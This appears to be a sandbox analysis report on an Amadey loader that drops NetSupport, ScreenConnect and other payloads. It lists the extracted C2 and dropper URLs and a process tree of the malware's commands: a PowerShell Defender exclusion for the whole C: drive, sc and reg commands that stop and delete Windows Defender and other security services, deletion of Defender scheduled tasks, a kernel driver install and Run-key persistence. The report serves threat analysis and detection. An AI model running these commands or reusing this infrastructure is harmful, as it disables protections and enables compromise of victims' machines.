Overview

overview

10

Static

static

3

fedcaf57f0...e8.exe

windows7-x64

10

fedcaf57f0...e8.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    139s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/03/2025, 18:44

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    fedcaf57f0459c113cf0b609ec2713b111e50d25d15e321ccaa5dc89d72528e8.exe
  • Size 1.8MB
  • Sample250326-xdx7vaspx3
  • SHA256 fedcaf57f0459c113cf0b609ec2713b111e50d25d15e321ccaa5dc89d72528e8
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
amadeynetsupport092155bootkitcredential_accessdefense_evasiondiscoveryexecutionexploitpersistenceprivilege_escalationratspywarestealertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://176.113.115.7/mine/random.exe

Extracted

Family

  • amadey

Version

  • 5.21

Botnet

  • 092155

C2

  • http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Modifies security service 2 TTPs 2 IoCs
    defense_evasion
  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

    ratnetsupport
  • Netsupport family
    netsupport
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file 12 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Sets service image path in registry 2 TTPs 8 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Uses browser remote debugging 2 TTPs 8 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 11 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 28 IoCs
  • Identifies Wine through registry keys 2 TTPs 6 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs
    defense_evasion
  • Loads dropped DLL 52 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Checks for any installed AV software in registry 1 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 47 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 4 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 46 IoCs
  • Launches sc.exe 38 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 2 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 60 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 38 IoCs
  • Suspicious use of SendNotifyMessage 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2884
      • C:\Windows\SysWOW64\svchost.exe
        "C:\Windows\System32\svchost.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:10784
      • C:\Windows\SysWOW64\svchost.exe
        "C:\Windows\System32\svchost.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:12528
    • C:\Users\Admin\AppData\Local\Temp\fedcaf57f0459c113cf0b609ec2713b111e50d25d15e321ccaa5dc89d72528e8.exe
      "C:\Users\Admin\AppData\Local\Temp\fedcaf57f0459c113cf0b609ec2713b111e50d25d15e321ccaa5dc89d72528e8.exe"
      1⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Checks computer location settings
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1636
      • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        2⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Downloads MZ/PE file
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Adds Run key to start application
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4496
        • C:\Users\Admin\AppData\Local\Temp\10337510101\f73ae_003.exe
          "C:\Users\Admin\AppData\Local\Temp\10337510101\f73ae_003.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:2128
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:244
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe Add-MpPreference -ExclusionPath 'C:'
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1324
          • C:\Windows\system32\svchost.exe
            "C:\Windows\system32\svchost.exe"
            4⤵
            • Downloads MZ/PE file
            • Adds Run key to start application
            • Suspicious use of WriteProcessMemory
            PID:5796
            • C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
              "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
              5⤵
              • Sets service image path in registry
              • Executes dropped EXE
              • Suspicious behavior: LoadsDriver
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1052
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Remove-MpPreference -ExclusionPath C:\
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:8080
            • C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
              "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
              5⤵
              • Deletes itself
              • Executes dropped EXE
              PID:1268
              • C:\Users\Admin\AppData\Local\Temp\{4a73144e-530a-4ce5-b0d1-45f8d0ddc868}\2ece4e29.exe
                "C:\Users\Admin\AppData\Local\Temp\{4a73144e-530a-4ce5-b0d1-45f8d0ddc868}\2ece4e29.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot
                6⤵
                • Executes dropped EXE
                • Checks for VirtualBox DLLs, possible anti-VM trick
                • System Location Discovery: System Language Discovery
                PID:7776
                • C:\Users\Admin\AppData\Local\Temp\{6bbbc285-85b9-4eb3-84d2-36bf8d658795}\ab96045a.exe
                  C:/Users/Admin/AppData/Local/Temp/{6bbbc285-85b9-4eb3-84d2-36bf8d658795}/\ab96045a.exe -accepteula -adinsilent -silent -processlevel 2 -postboot
                  7⤵
                  • Drops file in Drivers directory
                  • Sets service image path in registry
                  • Executes dropped EXE
                  • Impair Defenses: Safe Mode Boot
                  • Loads dropped DLL
                  • Adds Run key to start application
                  • Checks for any installed AV software in registry
                  • Enumerates connected drives
                  • Writes to the Master Boot Record (MBR)
                  • Checks for VirtualBox DLLs, possible anti-VM trick
                  • Event Triggered Execution: Netsh Helper DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: LoadsDriver
                  PID:8660
        • C:\Users\Admin\AppData\Local\Temp\10337820101\7IIl2eE.exe
          "C:\Users\Admin\AppData\Local\Temp\10337820101\7IIl2eE.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3720
          • C:\Windows\SysWOW64\CMD.exe
            "C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat
            4⤵
            • System Location Discovery: System Language Discovery
            PID:4904
        • C:\Users\Admin\AppData\Local\Temp\10338870101\TbV75ZR.exe
          "C:\Users\Admin\AppData\Local\Temp\10338870101\TbV75ZR.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:6360
          • C:\Windows\SysWOW64\CMD.exe
            "C:\Windows\system32\CMD.exe" /c copy Edit.vss Edit.vss.bat & Edit.vss.bat
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:6632
            • C:\Windows\SysWOW64\tasklist.exe
              tasklist
              5⤵
              • Enumerates processes with tasklist
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:11032
            • C:\Windows\SysWOW64\findstr.exe
              findstr /I "opssvc wrsa"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:11048
            • C:\Windows\SysWOW64\tasklist.exe
              tasklist
              5⤵
              • Enumerates processes with tasklist
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:11224
            • C:\Windows\SysWOW64\findstr.exe
              findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:11240
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c md 267978
              5⤵
              • System Location Discovery: System Language Discovery
              PID:11308
            • C:\Windows\SysWOW64\extrac32.exe
              extrac32 /Y /E Spanish.vss
              5⤵
              • System Location Discovery: System Language Discovery
              PID:11380
            • C:\Windows\SysWOW64\findstr.exe
              findstr /V "East" Removed
              5⤵
              • System Location Discovery: System Language Discovery
              PID:11912
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c copy /b 267978\Exam.com + Vermont + Conflict + Remarks + Safer + Districts + Eddie + Awful + Garage + Sexually + Mitsubishi + Freeware 267978\Exam.com
              5⤵
              • System Location Discovery: System Language Discovery
              PID:5820
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c copy /b ..\Austin.vss + ..\Canal.vss + ..\Cottage.vss + ..\Engineers.vss + ..\Racks.vss + ..\Spy.vss + ..\Weekends.vss + ..\Shirt.vss + ..\Fields.vss + ..\Flyer.vss + ..\Strengthening.vss + ..\Floors.vss j
              5⤵
              • System Location Discovery: System Language Discovery
              PID:5720
            • C:\Users\Admin\AppData\Local\Temp\267978\Exam.com
              Exam.com j
              5⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:12392
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 12392 -s 936
                6⤵
                • Program crash
                PID:11188
            • C:\Windows\SysWOW64\choice.exe
              choice /d y /t 5
              5⤵
              • System Location Discovery: System Language Discovery
              PID:12580
        • C:\Users\Admin\AppData\Local\Temp\10340260101\5796070754.exe
          "C:\Users\Admin\AppData\Local\Temp\10340260101\5796070754.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:8140
        • C:\Users\Admin\AppData\Local\Temp\10340340101\tool.exe
          "C:\Users\Admin\AppData\Local\Temp\10340340101\tool.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:13292
          • C:\Windows\SysWOW64\msiexec.exe
            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.4.4.9118\f63a82ffaf9f93d1\ScreenConnect.ClientSetup.msi"
            4⤵
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:7276
        • C:\Users\Admin\AppData\Local\Temp\10340560101\WLbfHbp.exe
          "C:\Users\Admin\AppData\Local\Temp\10340560101\WLbfHbp.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:5076
          • C:\Windows\SysWOW64\CMD.exe
            "C:\Windows\system32\CMD.exe" /c copy Edit.vss Edit.vss.bat & Edit.vss.bat
            4⤵
            • System Location Discovery: System Language Discovery
            PID:1556
            • C:\Windows\SysWOW64\tasklist.exe
              tasklist
              5⤵
              • Enumerates processes with tasklist
              • System Location Discovery: System Language Discovery
              PID:9728
            • C:\Windows\SysWOW64\findstr.exe
              findstr /I "opssvc wrsa"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:9748
            • C:\Windows\SysWOW64\tasklist.exe
              tasklist
              5⤵
              • Enumerates processes with tasklist
              • System Location Discovery: System Language Discovery
              PID:10160
            • C:\Windows\SysWOW64\findstr.exe
              findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:10176
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c md 267978
              5⤵
              • System Location Discovery: System Language Discovery
              PID:10276
            • C:\Windows\SysWOW64\extrac32.exe
              extrac32 /Y /E Spanish.vss
              5⤵
              • System Location Discovery: System Language Discovery
              PID:10332
            • C:\Windows\SysWOW64\findstr.exe
              findstr /V "East" Removed
              5⤵
              • System Location Discovery: System Language Discovery
              PID:10848
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c copy /b 267978\Exam.com + Vermont + Conflict + Remarks + Safer + Districts + Eddie + Awful + Garage + Sexually + Mitsubishi + Freeware 267978\Exam.com
              5⤵
              • System Location Discovery: System Language Discovery
              PID:10988
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c copy /b ..\Austin.vss + ..\Canal.vss + ..\Cottage.vss + ..\Engineers.vss + ..\Racks.vss + ..\Spy.vss + ..\Weekends.vss + ..\Shirt.vss + ..\Fields.vss + ..\Flyer.vss + ..\Strengthening.vss + ..\Floors.vss j
              5⤵
              • System Location Discovery: System Language Discovery
              PID:11200
            • C:\Users\Admin\AppData\Local\Temp\267978\Exam.com
              Exam.com j
              5⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:11240
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 11240 -s 888
                6⤵
                • Program crash
                PID:4232
            • C:\Windows\SysWOW64\choice.exe
              choice /d y /t 5
              5⤵
              • System Location Discovery: System Language Discovery
              PID:11508
        • C:\Users\Admin\AppData\Local\Temp\10340730101\BIm18E9.exe
          "C:\Users\Admin\AppData\Local\Temp\10340730101\BIm18E9.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:10624
        • C:\Users\Admin\AppData\Local\Temp\10341360101\apple.exe
          "C:\Users\Admin\AppData\Local\Temp\10341360101\apple.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:4092
          • C:\Users\Admin\AppData\Local\Temp\11.exe
            "C:\Users\Admin\AppData\Local\Temp\11.exe"
            4⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1324
            • C:\Windows\system32\cmd.exe
              "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8E8F.tmp\8E90.tmp\8E91.bat C:\Users\Admin\AppData\Local\Temp\11.exe"
              5⤵
                PID:4388
                • C:\Users\Admin\AppData\Local\Temp\11.exe
                  "C:\Users\Admin\AppData\Local\Temp\11.exe" go
                  6⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:3668
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\8F0C.tmp\8F0D.tmp\8F0E.bat C:\Users\Admin\AppData\Local\Temp\11.exe go"
                    7⤵
                    • Drops file in Program Files directory
                    PID:5788
                    • C:\Windows\system32\sc.exe
                      sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
                      8⤵
                      • Launches sc.exe
                      PID:7636
                    • C:\Windows\system32\sc.exe
                      sc start ddrver
                      8⤵
                      • Launches sc.exe
                      PID:7660
                    • C:\Windows\system32\timeout.exe
                      timeout /t 1
                      8⤵
                      • Delays execution with timeout.exe
                      PID:7692
                    • C:\Windows\system32\sc.exe
                      sc stop ddrver
                      8⤵
                      • Launches sc.exe
                      PID:7788
                    • C:\Windows\system32\sc.exe
                      sc start ddrver
                      8⤵
                      • Launches sc.exe
                      PID:7824
                    • C:\Windows\system32\takeown.exe
                      takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
                      8⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      PID:7856
                    • C:\Windows\system32\icacls.exe
                      icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
                      8⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      PID:7896
                    • C:\Windows\system32\sc.exe
                      sc stop "WinDefend"
                      8⤵
                      • Launches sc.exe
                      PID:8072
                    • C:\Windows\system32\sc.exe
                      sc delete "WinDefend"
                      8⤵
                      • Launches sc.exe
                      PID:8124
                    • C:\Windows\system32\reg.exe
                      reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
                      8⤵
                        PID:5888
                      • C:\Windows\system32\sc.exe
                        sc stop "MDCoreSvc"
                        8⤵
                        • Launches sc.exe
                        PID:5412
                      • C:\Windows\system32\sc.exe
                        sc delete "MDCoreSvc"
                        8⤵
                        • Launches sc.exe
                        PID:8224
                      • C:\Windows\system32\reg.exe
                        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
                        8⤵
                          PID:8340
                        • C:\Windows\system32\sc.exe
                          sc stop "WdNisSvc"
                          8⤵
                          • Launches sc.exe
                          PID:6812
                        • C:\Windows\system32\sc.exe
                          sc delete "WdNisSvc"
                          8⤵
                          • Launches sc.exe
                          PID:6780
                        • C:\Windows\system32\reg.exe
                          reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
                          8⤵
                            PID:8452
                          • C:\Windows\system32\sc.exe
                            sc stop "Sense"
                            8⤵
                            • Launches sc.exe
                            PID:8492
                          • C:\Windows\system32\sc.exe
                            sc delete "Sense"
                            8⤵
                            • Launches sc.exe
                            PID:8520
                          • C:\Windows\system32\reg.exe
                            reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
                            8⤵
                              PID:4712
                            • C:\Windows\system32\sc.exe
                              sc stop "wscsvc"
                              8⤵
                              • Launches sc.exe
                              PID:8596
                            • C:\Windows\system32\sc.exe
                              sc delete "wscsvc"
                              8⤵
                              • Launches sc.exe
                              PID:4132
                            • C:\Windows\system32\reg.exe
                              reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
                              8⤵
                              • Modifies security service
                              PID:8604
                            • C:\Windows\system32\sc.exe
                              sc stop "SgrmBroker"
                              8⤵
                              • Launches sc.exe
                              PID:8424
                            • C:\Windows\system32\sc.exe
                              sc delete "SgrmBroker"
                              8⤵
                              • Launches sc.exe
                              PID:8620
                            • C:\Windows\system32\reg.exe
                              reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
                              8⤵
                                PID:8648
                              • C:\Windows\system32\sc.exe
                                sc stop "SecurityHealthService"
                                8⤵
                                • Launches sc.exe
                                PID:8080
                              • C:\Windows\system32\sc.exe
                                sc delete "SecurityHealthService"
                                8⤵
                                • Launches sc.exe
                                PID:8704
                              • C:\Windows\system32\reg.exe
                                reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
                                8⤵
                                  PID:8748
                                • C:\Windows\system32\sc.exe
                                  sc stop "webthreatdefsvc"
                                  8⤵
                                  • Launches sc.exe
                                  PID:8796
                                • C:\Windows\system32\sc.exe
                                  sc delete "webthreatdefsvc"
                                  8⤵
                                  • Launches sc.exe
                                  PID:8896
                                • C:\Windows\system32\reg.exe
                                  reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
                                  8⤵
                                    PID:8928
                                  • C:\Windows\system32\sc.exe
                                    sc stop "webthreatdefusersvc"
                                    8⤵
                                    • Launches sc.exe
                                    PID:8972
                                  • C:\Windows\system32\sc.exe
                                    sc delete "webthreatdefusersvc"
                                    8⤵
                                    • Launches sc.exe
                                    PID:9064
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
                                    8⤵
                                      PID:9092
                                    • C:\Windows\system32\sc.exe
                                      sc stop "WdNisDrv"
                                      8⤵
                                      • Launches sc.exe
                                      PID:5708
                                    • C:\Windows\system32\sc.exe
                                      sc delete "WdNisDrv"
                                      8⤵
                                      • Launches sc.exe
                                      PID:848
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
                                      8⤵
                                        PID:4980
                                      • C:\Windows\system32\sc.exe
                                        sc stop "WdBoot"
                                        8⤵
                                        • Launches sc.exe
                                        PID:1712
                                      • C:\Windows\system32\sc.exe
                                        sc delete "WdBoot"
                                        8⤵
                                        • Launches sc.exe
                                        PID:2640
                                      • C:\Windows\system32\reg.exe
                                        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
                                        8⤵
                                          PID:4900
                                        • C:\Windows\system32\sc.exe
                                          sc stop "WdFilter"
                                          8⤵
                                          • Launches sc.exe
                                          PID:4264
                                        • C:\Windows\system32\sc.exe
                                          sc delete "WdFilter"
                                          8⤵
                                          • Launches sc.exe
                                          PID:9128
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
                                          8⤵
                                            PID:6140
                                          • C:\Windows\system32\sc.exe
                                            sc stop "SgrmAgent"
                                            8⤵
                                            • Launches sc.exe
                                            PID:4920
                                          • C:\Windows\system32\sc.exe
                                            sc delete "SgrmAgent"
                                            8⤵
                                            • Launches sc.exe
                                            PID:2800
                                          • C:\Windows\system32\reg.exe
                                            reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
                                            8⤵
                                              PID:1280
                                            • C:\Windows\system32\sc.exe
                                              sc stop "MsSecWfp"
                                              8⤵
                                              • Launches sc.exe
                                              PID:9292
                                            • C:\Windows\system32\sc.exe
                                              sc delete "MsSecWfp"
                                              8⤵
                                              • Launches sc.exe
                                              PID:9368
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
                                              8⤵
                                                PID:9436
                                              • C:\Windows\system32\sc.exe
                                                sc stop "MsSecFlt"
                                                8⤵
                                                • Launches sc.exe
                                                PID:9488
                                              • C:\Windows\system32\sc.exe
                                                sc delete "MsSecFlt"
                                                8⤵
                                                • Launches sc.exe
                                                PID:9428
                                              • C:\Windows\system32\reg.exe
                                                reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
                                                8⤵
                                                  PID:9184
                                                • C:\Windows\system32\sc.exe
                                                  sc stop "MsSecCore"
                                                  8⤵
                                                  • Launches sc.exe
                                                  PID:9556
                                                • C:\Windows\system32\sc.exe
                                                  sc delete "MsSecCore"
                                                  8⤵
                                                  • Launches sc.exe
                                                  PID:9632
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
                                                  8⤵
                                                    PID:6612
                                                  • C:\Windows\system32\schtasks.exe
                                                    schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
                                                    8⤵
                                                      PID:9680
                                                    • C:\Windows\system32\schtasks.exe
                                                      schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
                                                      8⤵
                                                        PID:9828
                                                      • C:\Windows\system32\schtasks.exe
                                                        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
                                                        8⤵
                                                          PID:9888
                                                        • C:\Windows\system32\schtasks.exe
                                                          schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
                                                          8⤵
                                                            PID:9936
                                                          • C:\Windows\system32\sc.exe
                                                            sc stop ddrver
                                                            8⤵
                                                            • Launches sc.exe
                                                            PID:9984
                                                          • C:\Windows\system32\sc.exe
                                                            sc delete ddrver
                                                            8⤵
                                                            • Launches sc.exe
                                                            PID:10000
                                                • C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10341760101\dBSGwVB.exe"
                                                  3⤵
                                                  • Checks computer location settings
                                                  • Executes dropped EXE
                                                  • System Location Discovery: System Language Discovery
                                                  PID:6200
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "
                                                    4⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:13208
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"
                                                      5⤵
                                                      • Adds Run key to start application
                                                      • System Location Discovery: System Language Discovery
                                                      PID:5256
                                                    • C:\Users\Public\Netstat\bild.exe
                                                      C:\Users\Public\Netstat\bild.exe
                                                      5⤵
                                                      • Executes dropped EXE
